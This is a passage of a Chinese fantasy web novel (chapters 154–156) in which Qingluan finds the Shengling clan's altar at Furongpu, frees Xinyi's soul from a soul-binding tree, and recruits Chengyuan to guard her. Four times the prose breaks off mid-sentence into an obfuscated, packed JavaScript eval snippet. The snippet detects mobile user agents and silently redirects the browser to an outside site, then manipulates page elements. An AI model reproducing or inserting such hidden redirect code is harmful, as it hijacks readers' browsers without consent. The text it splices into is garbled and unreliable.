她知道这恐怕是心火与龙血产生感应后出现的幻觉,于是捂住心口,加快了前行的步伐。 穿过这片神秘的古城遗迹,才算是真正进入了都广之野。 赤色焦土一直绵延到古城之外,方才在古城遗址中好歹留有断壁残垣,如今映入青鸾眼帘的方是一片真正的浩荡荒野。 有人拖着沉重的铁链行走于龟裂河床边,铁链拖曳传来的闷响声令人感到不适。 想来他们便是被囚禁于都广之野的罪神后裔。 青鸾曾经问过帝宣,那些罪神后裔的先祖究竟犯过什么大罪,才会连累他们的后人世世代代被囚禁于废弃之地,连赎罪离开的机会都没有。 帝宣沉思良久后,却也说不出所以然来。 那是一段太过久远的历史,别说九重天帝宣这一代后辈,只怕是那些被囚禁起来的罪神后裔自已都早已忘却他们的先祖何以会成为罪神。 为了稳妥起见,青鸾一边深入都广之野,一边再次屏蔽气息隐去身形。 那些被铁链束缚在这里艰难行走于河畔的人眼中虽然尽是麻木,但她感受得到弥漫在这片土地上经久不息的恨意。 她突然间想到帝骁。 想起帝骁也曾奉天君之命前往过都广之野执行任务,他回到青要山同青鸾讲起自己一路上的见闻时曾道,那些被囚禁在都广之野的罪神后裔宛如一把枯木,看似安分老实,但其实只需要一把火便可以将他们点燃。 用帝骁的话来说,这便是他们连赎罪的机会都没有的原因。 “非我族类,其心必异,将他们囚禁在都广之野,给予他们一方栖息之地,如此已算仁慈。” 帝骁说这番话时神情冷漠,青鸾始终记得他那时的表情,那样疏离且又遥远,仿佛与她隔着千里万里的距离,仿佛下一秒就会拂袖离她而去。 那是她第一次意识到站在她面前的人是九重天宫的神君,是拥有天君血脉且有很大可能成为下一任天君的人,他不仅仅是与她朝夕相处的帝骁,青要山之外的人甚至只敢尊称他的封号。 也许便是从那时候开始她总是隐隐担心自己追不上帝骁的步伐,总害怕被他抛下。 那时候的她真的很害怕失去他。 如今再次忆起当初的心情,青鸾只觉得百感交集。 她摇了摇头,将帝骁的面容从自己的脑海中挥去,收敛心神继续寻找芙蓉浦的踪迹。 都广之野她想象中要大得多,若是这样毫无头绪地找下去,只怕几天几夜也找不着。 被囚禁在这里的罪神后裔似乎也分为三六九等,并非所有人都被锁链束缚着,行至都广之野较为中心的区域时,青鸾发现这里居然有了一些小型的建筑,有人在这里生活。 虽然他们的衣物和建筑看起来都十分简陋,但好歹有了一丝烟火气,不似那些在龟裂河畔艰难前行的囚徒那般狼狈可怜。 青鸾观察了一下,发现街道上的行人并非全部都是罪神后裔,也有少数外来的人混杂其间。 确认了这里并没有禁止外人进入后,青鸾终于从暗处现身。 她需要找人问一问芙蓉浦的所在。 在人群中张望了一番,她行至一位老者面前,试探地向他打听都广之野是否有一个叫做芙蓉浦的地方。 却没想她的话还没有说完,那老者只是听到芙蓉浦三个字,便猛地抬起头死死盯住她。 他浑浊无光的眼珠在盯住她的时候上下颤动着,目光中的仇恨惊得青鸾出了一身冷汗。 周遭的人也在此时注意到青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15260112|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸾打算前往芙蓉浦,纷纷转过头来望向她,他们都同那个老者一样,蒙尘的眼珠在此刻发出骇人的精光。 没有一个人开口说话,他们只是停下脚步,一动不动地盯着她。 这场景实在太过诡异,饶是青鸾也有些承受不住,觉得这些人简直比东海地宫中的那些神兵还要恐怖。 就这样僵持片刻后,青鸾微微垂下头,在他们的注视下小心翼翼往后退了几步,然后飞身迅速离开了这里。 虽然她未能从那些人口中得到答案,但根据他们的反应不难判断,芙蓉浦一定是在人迹罕至之地,绝不会出现在有人聚集生活的地方。 因为方才他们的目光中虽然饱含敌意,但青鸾还从中看到了些许畏惧,在听到芙蓉浦三个字时,他们的态度明显是既恨又惧的。 由此青鸾揣测,芙蓉浦除却与她的心火之源有关,还同囚禁在此处的罪神后裔有着某种关联,若非如此,他们不会在听见芙蓉浦三个字时便有如此反应。 虽然没有得到芙蓉浦的具体位置,但青鸾也算是从他们的反应中推测出了关键信息,她在空中俯瞰脚下这片深红色的土地,往人烟稀少之地寻去。 很快一处荆棘丛林吸引了她的注意。 这是一片十分茂密极为原始的丛林,在荒凉的都广之野显得格格不入,以它为中心,方圆十里杳无人烟,看起来正是青鸾所寻之地。 她凝起一个屏障护持自身,屏住呼吸迈入黑铁般的荆棘林。 这样大的一片丛林,其间竟然没有野兽生存,青鸾在林中走了许久,没有见到任何兽类活动的痕迹。 不知是不是体内拥有心火的缘故,林中的荆棘丛看似冰冷锋利,但在青鸾靠近时均会簌簌退开,因此她这一路还算走得顺利。 直到行至丛林深处一条暗河旁,这片原始森林终于散发出些许危险气息。 墨色水流无声无息地在林间穿梭,河面瘴气如雾,隐隐透出青色的光,河畔长着一簇簇伞状生物,顶部裂痕散发着幽幽蓝光。 眼前的景象怎么看怎么诡异,青鸾自然没有贸然前进,而是立于河畔尝试以心火探路。 心火的光照亮了这片幽暗的丛林,也驱散了她眼前的瘴气。 便在这时河面上空多出了一些不知从何处飞来的萤火,它们逐渐汇聚成一条光河,延至青鸾脚下,似乎是在为她铺路,邀请她过此暗河。 青鸾犹豫了一下,还是踏上了眼前这条以萤火之光铺成的桥梁,跨过暗河,继续朝丛林深处走去。 便在过河的一瞬间,她体内的心火似有所感,为她指引着前行的方向。 也是在这时她才终于确定自己并没有寻错地方,此地正是芙蓉浦。 有了心火的指引,她前行的速度快了许多,并且一路顺利得不可思议,她轻轻松松寻到了小蓝所说的圣灵族祭坛。 原以为那祭坛会十分难寻,圣灵族至少会在它周围布下一些禁制结界,却没想到它就那样立于丛林之中,一点也不做掩饰。 154. 芙蓉浦 至于青鸾何以确定眼前之物就是圣灵族祭坛…… 走着走着茂密丛林中突然出现一道巨大兽骨所形成的天然回廊,兽骨眼窝处还镶嵌着硕大的不知名法器,那法器缓缓旋转着散发出萤火般的光,光芒照耀之处刻有一个神秘图腾……实在是太明显了,想让人认不出这是个祭坛也难。 自从进入都广之野后便一直躁动不安的心火在青鸾看见祭坛的那一刻逐渐变得平静,这更让她确定眼前这座祭坛下就封印着她寻找的心火之源。 只是按照小蓝所言,此处应当有几名圣灵族人守护在此,为何她从踏入此地开始便没有见到一个人影? 便在青鸾思索之际,几道身影从密林中怯怯地走了出来。 青鸾心中一喜,正欲开口,便见那几人扑通一声朝自己跪下。 她们口中诵念着她听不懂的词句,似是吟咏神秘咒诀,又似发出远古吟唱。 或许这就是圣灵族的语言?青鸾虽然根本就听不懂,却也没有打断她们。 那几人闭目诵念了一番后,睁开眼惊喜地望向青鸾,起身凑到她的身边。 “你果然是圣女转世!”其中一人甚至上前拉住了她的手:“我们终于等到你了。” 想必这几人便是觉醒了自然之灵前来守护祭坛的圣灵族人,她们身上散发出的气息十分温和,让人天然想要亲近。 青鸾便也撤去了所有的防备,任由他们簇拥着自己。 看这几人样貌应当已经成年,言谈举止却十分稚气,似孩童般天真无邪。 她们七嘴八舌地同青鸾说话,青鸾甚至都没有插嘴的机会。 “我们已经观察你好久了,在你踏入芙蓉浦的那一刻心火之源便有异动,我们当时就猜到也许是一直等待的人出现了。” “就是就是,刚才我们看到你用心火唤醒萤火开路,那场面真是太震撼了!” “我们在祭坛守护了心火之源几百年,都不知道心火到底是什么样子呢,今日总算是见到了。” “我太奶奶告诉过我,她当初守护祭坛的时候梦到过圣女心火,原来心火的样子跟她做过的梦一模一样!” 眼看着她们讨论得越来越热烈,青鸾终于忍不住打断她们,直截了当道:“你们便是守护祭坛的圣灵族人?今日我来这里,是来取走心火之源的。” 那几人听到青鸾开口说话,纷纷安静下来,神情专注认真。 在听到青鸾说她是来取走心火之源时,其中一人兴奋地道:“太好了,我们终于可以走出芙蓉浦,去看一看外面的世界了!” 青鸾听得一头雾水,让她们解释一下此言何意。 这才知道原来远古洪荒时期万国混战,圣灵族人不愿参与各族杀伐,于是远走他乡藏于此处避战。圣灵族圣女为保护族人从自己体内剥离出心火之源,并嘱咐族人无论如何也不得离开心火之源的庇护之地,否则将有灭族之险。 她曾为自己做过星图推演,知晓亿万年后她的转世会来到这里取走心火之源,那时便是圣灵族人离开此地重回故国的契机。 “既然如此,待我取走心火之源后,你们自行离开就是。”青鸾点了点头,然后道:“若要解开祭坛封印,需得五灵汇集,据我所知觉醒了木灵之人被一后神劫走,囚禁在了登葆山缚魂树中,你们可知那缚魂树在山中的具体位置?” “我们知道!”几人纷纷点头:“那个人捉走的是辛夷,辛夷是自愿被他捉走的。” “我们没有出去过,不知道登葆山在哪里,也不知道缚魂树是什么。但是觉醒了自然之灵的圣灵族人相互会有感应,我们可以催动自然之灵感应对方的存在。” “就像刚才感应到圣女心火一样!” 青鸾松了口气,看来寻见辛夷并不像她想象的那般困难。 听见她们说催动自然之灵还可以感应到心火之力,青鸾不由一怔。 她突然想到焕鸢夫人同她说过,她的母族乃上古仙族,族中有感应心火存在的秘术…… 难道焕鸢夫人的母族同这远古圣灵族有所关联? “所有圣灵族人都在这林中避世么?”青鸾又问:“是否有什么分支并不在芙蓉浦,而是留在了外面的世界?” 那几人面面相觑,回忆了好一会儿,方有一人道:“听祖母说,当初圣女并没有随我们一起避世,有一些族人作为她的亲卫随她一起征战,后来他们和圣女一起消失,再也没有回来。” “若说圣灵族还有什么分支,想来也只有那些同圣女一同征战的亲卫后裔了吧?” 青鸾听得有些恍然,真是没有想到,自己竟同焕鸢夫人的母族有这样的渊源。 怪不得那上古仙族如此强悍,连九重天宫都不畏惧,怪不得他们所修秘法还与心火有所关联。 不过她心中明白,渊源再深那也是前世之缘,眼下她需要做的是此世之事。 “我知道了,现在我有两个问题需要问你们。”青鸾平复了一下心情,对那几人道:“第一,你们可曾见过两个姑娘抱着一个婴儿来到此处,她们是否安全?第二,我要前往登葆山将辛夷从缚魂树中救出,你们谁愿意随我同去?” 那几人当即回答道:“见过见过,那两个人好生厉害,她们似乎也不畏惧设在都广之野的结界,也不害怕芙蓉浦中的瘴气,直接抱着孩子就找到了祭坛!” “她们现在在族长那里,族长把她们安置在了族中,圣女放心!” 至于谁愿意随她一起去登葆山解救辛夷…… 只见几人都高高地举起了手,眼巴巴地望着青鸾,个个翘首以盼。 得知焕鸢夫人的族人带着孩子在圣灵族长处,青鸾这才放下心来。 小蓝说辛夷的灵魂已经快要坚持不住,眼下最要紧的还是从缚魂树中救出辛夷,至于素娆嘱托之事,青鸾决定待她取出心火之源后再办。 她打量了一番咬着牙睁大眼望着自己的几个圣灵族人,犹豫了好一会儿,从她们几人中选出一个看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269465|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来最沉稳的:“你随我一起去吧,你叫什么名字?” “她叫金潇,是我们几个里最厉害的。”未被青鸾选中的三人倒也没有显得失望,而是高兴地把那名唤金潇的族人推了出来。 金潇在她们当中个头最矮,看起来却最为稳重,方才那几人七嘴八舌同青鸾说话,她也没有参与,只是站在一旁安静地观察着青鸾。 此刻被青鸾选中,她倒也还是忍不住露出了惊喜的表情,兴奋一瞬后她乖巧地向青鸾行了个族礼:“金潇愿随圣女一同前往登葆山营救辛夷。” 青鸾朝她摆了摆手:“如今我已不算是你们的圣女,唤我……”她停顿了一下道:“唤我青鸾就好。” 几人面面相觑,犹豫了一番后点了点头。 “事不宜迟,我们即刻就要出发,你们三人继续守在此处。”青鸾嘱咐完留下来的三个人后转头问金潇:“都广之野有九重天设下的结界,我们该如何出入?” 金潇当即祭出一个铜鼎,那铜鼎可自由变幻大小,在它幻化成手掌那般大后,她让它旋转着飞至青鸾头顶。 铜鼎散发出的光芒将青鸾从上到下笼罩起来,金潇围着青鸾绕了一圈,确定万无一失后拍了拍手:“这样就好啦,这是我的本命法器,其中蕴含着极强的自然之灵,用它为你掩去气息,那些天界的守卫一定不会发现。” 听到这里青鸾也意识到了,她们口中的自然之灵似乎可无视一切法阵结界,且自然之灵一共分为五类,只需要觉醒其中一种便有如此威力。 看起来此地并非从一开始就是囚禁罪神后裔的地方,而是天族出于某种原因将囚禁罪神后裔之地迁移到了都广之野。 隐居在芙蓉浦中的圣灵族算得上是此地的原住民,他们不受天族管控,也不会被囚禁罪神后裔的那些结界所束缚。 天族占领都广之野时未曾对圣灵族赶尽杀绝,圣灵族人也一直避世不出永居芙蓉浦,两族在这片土地上保持着一种微妙的平衡。 这样看来虽然她在龙渊之狱将天族得罪个彻底,九重天宫势必不会善罢甘休,但焕鸢夫人那两位族人以及素娆的孩子暂居芙蓉浦中,应当是很安全的。 于是青鸾更加放下心来,在自然之灵的掩护下随金潇一同往登葆山而去。 在前往登葆山的路上她听金潇叙述着几百年前成渊闯入芙蓉浦时到底发生了何事。 “其实那时候我们刚赴任上不久,族中神巫曾经预言在我们守护祭坛期间极有可能便是圣女转世之时,我们五人虽然不能离开祭坛太远,在任期间也不能回到族内,但每天都很兴奋。” “因为从小族中长辈就会向我们讲述亿万年前万国时期是怎样一个杀伐混战但又英杰辈出的时代,最重要的是他们会同我们讲亿万年来族中唯一一位出生即觉醒了五灵的圣女风采,圣女是我们所有人崇拜的对象!” 说到这里金潇有些克制不住地激动起来,她瞄了一眼青鸾,用力咳嗽两声,尽量保持自己稳重的形象。 155. 芙蓉浦 毕竟青鸾是因为看她稳重才在众姐妹里挑中了她的。 见旁边这丫头方才还咋咋呼呼一脸兴奋的模样,转眼又变得故作深沉,青鸾觉得十分有趣,忍不住逗她多讲两句:“族中长辈都曾讲过圣女的什么传说,让你们崇拜成这样?” “那可真是太多啦!”金潇瞬间打开话匣子:“圣女降世时圣灵族早已式微,在万国混战的夹缝中生存,随时都有灭族的危险。” “正是因为圣女一出生便觉醒了五灵,这才让圣灵族重新强大起来,不被其他种族或者国家欺负。” 见青鸾面露疑惑之色,似乎并不理解为何觉醒五灵便能让一个种族重新变得强大,金潇干脆亲自示范。 她催动体内金灵,然后将纯粹的自然之灵注入青鸾体内,让她感受何为金之灵脉。 “我们所觉醒的自然之灵与四海八荒的灵气息息相关,或者说它们本身便是同出一脉。” “觉醒了自然之灵的族人战力会比普通人高出许多,传闻在圣女降世之前,圣灵族先祖至多觉醒过三种自然之灵,那位仙祖便是圣灵族至强者,曾以一己之躯,带领我族占领了一整片大陆。” “觉醒三种自然之灵便如此强大,天生觉醒五灵的圣女便更不用提了。” “她曾经有多么强大,我们根本想象不到。” “除此之外,你若仔细感受体内金灵,便会发现自然之灵的用途与修炼所用的灵气其实是一致的。譬如我所觉醒的金灵,可用来炼器,也可用于锻造,其实就是炼器师们可遇不可求的精纯灵气。” “五灵觉醒便意味着圣灵族无论是在炼器、疗愈、防御还是战斗等等方面都是特别强大的,可以说没有短板。” “并且因为自然之灵与灵气同属一脉,灵气充盈自然之灵也随之强大,灵气稀薄自然之灵也会随之式微。我们如今的力量远远不能与从前灵气正盛的时代相比,但圣女当初所在的万国时期正是灵气最为充沛的时候,她所觉醒的自然之灵自然也是有史以来最为强大的灵魄。” 金潇一口气说了这样多,青鸾倒也听得津津有味。 不过她也没有忘记正事,趁金潇的讲述告一段落,青鸾又将话题拉了回来:“那你同我讲讲百年前成渊是如何掳走辛夷的?为何你们说辛夷是自愿被他带走?” “因为他拿整个芙蓉浦威胁我们!”金潇义愤填膺:“我们当时奋力抵抗,那个成渊见动静闹得太大可能要将天族的人引来,于是停手威胁我们。” “他说若辛夷乖乖跟他走,帮他这一个忙,日后她还是有可能回到芙蓉浦的。可若是我们不识好歹非要与他对抗,那他不惜毁掉整个芙蓉浦也要我们为那个叫什么阿媱的陪葬。” 青鸾听得太阳穴一抽一抽。 金潇继续道:“我们看得出来他的确有这个实力,并且他整个人看起来疯疯癫癫的实在不太正常,为了不激怒他连累整个芙蓉浦,辛夷便自愿随他去了。” 成渊将辛夷囚禁在缚魂树中是几百年前的事,想来便是太华之战刚刚结束,帝媱陨落不久之时,成渊所受刺激太大,所以才会整个人看起来疯疯癫癫。 青鸾不由想到陌离。 合理怀疑这一家子是有什么疯癫的基因埋伏在身体里。 思索间又闻金潇道:“我好像感应到了辛夷的气息,她应该就在附近。” 青鸾闻言敛住思绪,随金潇在林间穿梭,寻找着缚魂树的踪迹。 登葆山中林木众多,草木蓊郁,想要在不知缚魂树是何模样的情况下于万木丛中寻见它并不容易。 即便金潇已经感应到了属于辛夷的自然之灵的气息,也仍旧带着青鸾在林中绕了小半日才寻见她。 她在一棵其貌不扬的小树前停下,还未站定便落下一滴泪来:“辛夷的魂魄这么多年来都被囚禁在这样小的一棵树里,她该有多难过……” “这便是缚魂树?”青鸾有些讶异,眼前这棵树不仅又矮又小,看起来稀松平常,而且毫无神力波动,完全看不出来是传说中能够炼人生魂的神树。 不过这传说中的神树到底长什么样子她连听都没有听说过,且成渊为了隐去神树气息一定在上面动过手脚,她感受不到神力波动也属正常。 既然金潇是凭借自然之灵感应到了同族气息,想来应当无误。 青鸾催动心火,先以心火探查四周有无法阵,再探知树上是否设下禁制,最后发现以缚魂树为中心,方圆百里并无任何法阵结界,缚魂树上的确被施过屏蔽神力的术法,但除此之外便无任何保护禁制。 她隐隐有些担忧,此树于成渊而言是复活阿媱的关键之物,他怎会如此草率地将它置于此处不闻不问,甚至都不在它附近设下任何禁制? 青鸾担心此处有诈,但金潇确定辛夷的魂魄就被束缚在这棵树里,心火又的确感应不到其它危险…… 如此情形,也只能走一步看一步了。 青鸾不再犹豫,彻底将心火释放,尝试冲破缚魂树对辛夷灵魂的禁锢。 金潇仰头注视着青鸾催动心火,眼中光芒闪烁似星空。 她与族人一起守护着心火之源,对心火之力又好奇又仰慕,何况青鸾释放出的火焰片刻就将缚魂树包裹,绽放的光芒是那样耀眼,实在令人好生神往。 在心火的冲击下,缚魂树开始轻轻摇晃起来,树干逐渐变得透明,其间显现出一个女孩的身影。 那女孩闭目抱膝蜷于树中,肤色苍白也似透明,她似乎随时都有可能化为一缕轻烟飘散。 金潇在看见女孩的一瞬间便惊呼了一声:“辛夷!她果然这这里!” 随后她立马催动自然之灵,尝试将伙伴唤醒。 辛夷周遭仍旧环绕着微弱的木灵,它们如点点萤火在风中摇晃,看起来十分脆弱,却始终顽强地发出亮光。 此刻它们与金潇体内的自然之灵互相感应,旋转的速度逐渐加快,方才还微弱得仿佛立马就要熄灭的光芒瞬间暴涨。 它们的复苏也为辛夷的灵魄重新带来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276087|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生机,荧荧绿光中,辛夷缓缓睁开了眼。 首先映入眼帘的便是漫天火光中青鸾的脸。 心火已将整棵缚魂树点燃,它在破除神树的禁制,但与此同时也在燃烧辛夷的灵魂。 “能坚持住吗?”青鸾问她。 辛夷恍惚间以为自己是在做梦,她沉睡了太久,已经有些记不清自己身在何处。 但她始终记得自己的使命。 她觉醒了自然之灵,并且是圣灵族如今唯一一个木灵,她必须要活着等到圣女转世取走心火之源的那一天。 她知道强大到能够灼烧自己灵魂的火焰一定就是传说中的心火,于是也就知道此刻站在自己面前的人是谁。 登葆山实在太冷,是漫山翁翠林木也掩不住的冷。她曾经在漫长光阴里咬牙忍受着入骨的阴寒,饱含希望地在缚魂树中睁着眼,日复一日望向故土。 可那一片故土隔得太远,缚魂树中的时光太过漫长,她终于在经年的等待中陷入沉睡。 不过还好,她等到了这一天。 还好没有放弃。 心火吞噬着她的灵魂,却也燃烧着缚魂树堆积在她体内的阴寒神力,为她带来罕见的温暖。 “我可以坚持住。”她回答青鸾。 几百年的漫长等待她都未曾放弃过,此刻光就在自己眼前,她怎么可能放弃。 “木灵之力,生生不息。”她以圣灵族古语呼唤木灵,助她魂魄重现生机,被心火吞噬的残魂在木灵的修复下逐渐补全。 青鸾微微一怔。 原来这便是主宰生机的木灵之力,如此磅礴且强悍的生机,果然令人瞠目。 怪不得成渊早在几百年前就盯上了她,不惜冒着被九重天宫发现踪迹的危险也要远赴芙蓉浦掳走辛夷炼化木灵。 见到辛夷的木灵之力足以自保,青鸾也就不再顾忌,方才还有所保留的心火在空中绕了个圈儿,骤然迸溅开来,绽放出一朵硕大的花儿。 火焰与缚魂树的神力互相抗衡之下产生的灵力冲击逼得金潇连连后退,无法想象身在缚魂树中同时承受着两股力量倾轧的辛夷此刻有多痛苦。 可她一声不吭,咬牙催动木灵,竟然就这样生生硬抗过来。 缚魂树承受不住心火的猛烈冲击,终于轰然倒下,与此同时也释放出了辛夷的魂魄和它正在炼化的木灵。 青鸾眼疾手快,在缚魂树倒下的一瞬间飞身而起,用心火包裹住辛夷的魂魄,将她轻轻接住。 此时心火已无攻击性,变得十分温和,滋养着辛夷脆弱的魂魄。 也是在缚魂树倒下的一刹那,青鸾感到一股熟悉的力量正在快速逼近,她微微勾了勾唇角,将辛夷魂魄收进乾坤袋中,同小蓝放在一起,然后施施然转过身来。 便在转过身的下一秒,成渊的身影出现在了她的眼前。 他望了一眼被连根拔起倒在地上的缚魂树,将目光移到青鸾身上,皮笑肉不笑:“我问你,你到底跟我有什么仇?” 156. 芙蓉浦 金潇在见到成渊的一瞬间便瑟瑟发抖地躲到了青鸾背后。 当年这个疯疯癫癫却又实力强悍的后神给她造成的心理阴影实在是太大了。 她从青鸾身后探出一个头来,瞄了成渊一眼又迅速缩回去,哆哆嗦嗦地抬手指他:“就是他,当年就、就是他闯到芙蓉浦大开杀戒把辛夷掳走的。” 成渊沉默了一下,然后又笑了。 他朝青鸾摊了摊手,那笑容看起来居然有些无奈:“我是掳走了你们一个族人不假,但在芙蓉浦大开杀戒又是从何说起?” 金潇疑惑地嗯了一声,再次探出头来。 她们毁掉缚神树一事被成渊抓个正着,她原以为他会二话不说直接动手。 却没想到今日的他不仅不似当年那般疯癫,甚至看起来很好说话的样子。 金潇疑惑地望了成渊一眼,又抬头望了青鸾一眼,然后恍然大悟地点了点头。 不是成渊突然变得好说话了,而是站在她身前的这个人太强了,强大到就连后神成渊都对她有所忌惮,不再一言不合直接动手,而是选择好好跟她讲话。 明白这一点后金潇望向青鸾的眼神里崇拜之意更盛。 青鸾却不打算同成渊废话,也不欲在这时候纠结他当年所行之事,而是直接道:“我有办法复活帝媱。” 成渊的笑容凝固在了脸上:“什么?” “我说我有办法复活帝媱。”青鸾补充了一句:“虽然没有十成十的把握,但至少比你的这些法子靠谱。” 见青鸾如此笃定,成渊倒也没有计较她说自己的法子不靠谱,上前一步追问道:“你有什么法子能够复活阿媱?” “上古万国时代有一洪荒法器名为太虚锢灵鉴,此物可魂凝太阴,令人起死回生。只要帝媱仙身未腐,便有望恢复生机。”说到这里青鸾话锋一转,向成渊提出条件,语气不容置疑:“我可以利用此物复活帝媱,前提是你要随我们一起回到芙蓉浦,为我护法,助我取得心火之源。” “你大费周章来到登葆山毁我缚神树,就是为了把这丫头带回芙蓉浦,打开祭坛封印让你取得心火之源?”成渊的身体里毕竟流淌着先神血脉,远古时期的部分记忆会随着成年之后血统的觉醒而恢复,因此在青鸾提到心火之源时他并不疑惑,反而感觉有一些熟悉。 心火之源四个字,仿佛曾在亿万年前烙印进他先祖的记忆里,随着血脉的延续在光阴长河中代代相传。 成渊没有追问青鸾与心火的渊源,他只是被流淌在血脉中的先祖残忆扰了一下思绪,回过神来后他便一口答应了青鸾的条件:“那太虚锢灵鉴现在何处?可在你身上?” 青鸾摇了摇头:“它现在还不在我身上,不过你放心,待我取得心火之源,一定会寻得此物复活帝媱。” 成渊闻言眯眼,站在原地沉吟片刻。 青鸾则注视着他,等待着他的答复。 距离她大闹龙渊之狱已经过去了一段时间,九重天宫肯定早已做出反应,说不定此刻她的画像已经出现在了通缉令上。 九重天那些神君唯天君马首是瞻,当初他们是如何围剿帝媱成渊的,她已经见识过了。 天君杀她之心一定不减当年,况且若要取得心火之源,她还得再涉险回一趟天族地盘。 都广之野如今可是被九重天宫牢牢控制,芙蓉浦虽然不在九重天的管控范围,但若是她吸收心火之源时动静太大,难保不会引起天族注意。 无人知晓吸收心火之源时会发生什么,倘若她在吸收时进入无知无觉的状态,届时天族的人闯入,圣灵族这几个小丫头未必拦得住。 为保万无一失,还是得有一个外援才是。 青鸾在尝试用心火冲破缚魂树对辛夷的禁锢时便已经发觉,成渊在此树上所设下的是一个感应禁制,只要有人妄动此树,不论成渊身在何处都能有所感应。 此树对成渊而言一定无比重要,他肯定不会将它扔在登葆山放任不管。既然他没有在周围设下任何法阵结界,甚至没有释放出一丝神力保护它,那便说明他留有后手。 因此在破坏此树时青鸾就已经猜到,成渊定会亲自赶来。 也是在那个时候她便已经开始思索,要如何才能让他心甘情愿成为自己的助力。 “你只需要在我吸收心火之源时为我护法以防万一,其余的事情不需要你做。”见他还在犹豫,青鸾加重了语气强调一遍:“只要吸收了心火之源,我立马去取太虚锢灵鉴,随你一同复活帝媱。” 成渊垂眸扫了一眼已经失去神力被心火烧为了灰烬的缚魂树,这才意识到从一开始青鸾就在打他的主意,自己这是从一开始就掉进了她的坑里。 重新将视线挪回青鸾身上,他目光中的含义变得复杂。 第一次见到这丫头是在空桑山的归魂树下,漫天大雪中遥遥望去她只有小小一点,但只是那么一望,他便感受到了她体内有一股沉睡着的力量。 起初他以为蕴含着强大力量的正是她的心脏,因此出手想要剜去她的心脏复活阿媱。虽说那次他未得手,但这丫头也伤得不轻,眼看着丢了大半条命,没个三五年是缓不过来的。 却没想到下一次在东海见到她时,她已经能熟练掌控心火之力,而今再次相见,她的实力恐怕已与自己相差无几。 不久前还稚嫩得仿佛几百年来第一次出门的小丫头,这么快就成长为了堪比后神的强者。 成渊感到一阵眩晕。 “神君考虑得如何了?”青鸾打断了他的思索。 成渊回过神来,轻轻叹了口气,转身朝芙蓉浦飞去:“那便走吧,我答应在你彻底吸收心火之源前护你无虞。” 青鸾抿唇一笑,拉着还在震惊之中的金潇一同离开了登葆山。 成渊与青鸾一起出现在芙蓉浦时,留守在祭坛附近的其余圣灵族人露出了和金潇一样的表情。 她们在见到青鸾的第一时间便凑了过来,看见立于她身后的成渊后又默默退了回去。 怎么也想不到,上一次这个疯疯癫癫的后神来到芙蓉浦还在扬言要把她们都杀了给人陪葬,这次再见到他,他居然客客气气地同青鸾说话,还要为她护法。 她们简直担心他在青鸾吸收心火之源的时候暗害她。 青鸾抬步向祭坛走去,将辛夷魂魄从乾坤袋中释放。 她注视着辛夷的魂体在空中慢慢浮现,然后凝聚成形:“你现在能否催动木灵解除祭坛封印?需不需要修养一段时间?” 辛夷所觉醒的木灵本身便具有极强的恢复能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284003|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,加之她一路上得到心火滋养,恢复得也就更快些。 虽然尚不能真正化形,恢复肉身,但她的灵体已足够强大。 “我可以的。”她冲青鸾点了点头。 辛夷的伙伴们见到她被解救出来,自然是不胜欢喜,但她们也知眼前之事紧急,若要相叙且等事成之后再说。于是四散开来,在属于自己的位置上坐定,闭目开始催动自然之灵。 五道自然之灵化为五彩光束注入祭坛中央,没过多久祭坛封印便开始松动。 与此同时青鸾也催动了体内心火,闭上眼睛与祭坛内的心火之源互相感应。 随着封印的解除,游走于青鸾体内的心火也愈发躁动,恍惚间她仿佛听见身体深处传来一声碎裂的脆响,紧接着全身都传来难以忍受的剧痛。 好像有人将她的骨头与血肉都撕扯开来然后再碾碎重组。 心火之源便在这时自祭坛中涌出。 众人眼前瞬间腾起千万道金红色的火蛇,它们在半空中凝成巨大的凤凰虚影,扇动翅膀时搅起的飓风足以撕开云层。 成渊看得头大。 这样大的动静,一定会引来天族的人,怪不得她千方百计要让自己为她护法。 如今他与她是一条绳上的蚂蚱,若是真将天族的人引来,他也吃不了兜着走。 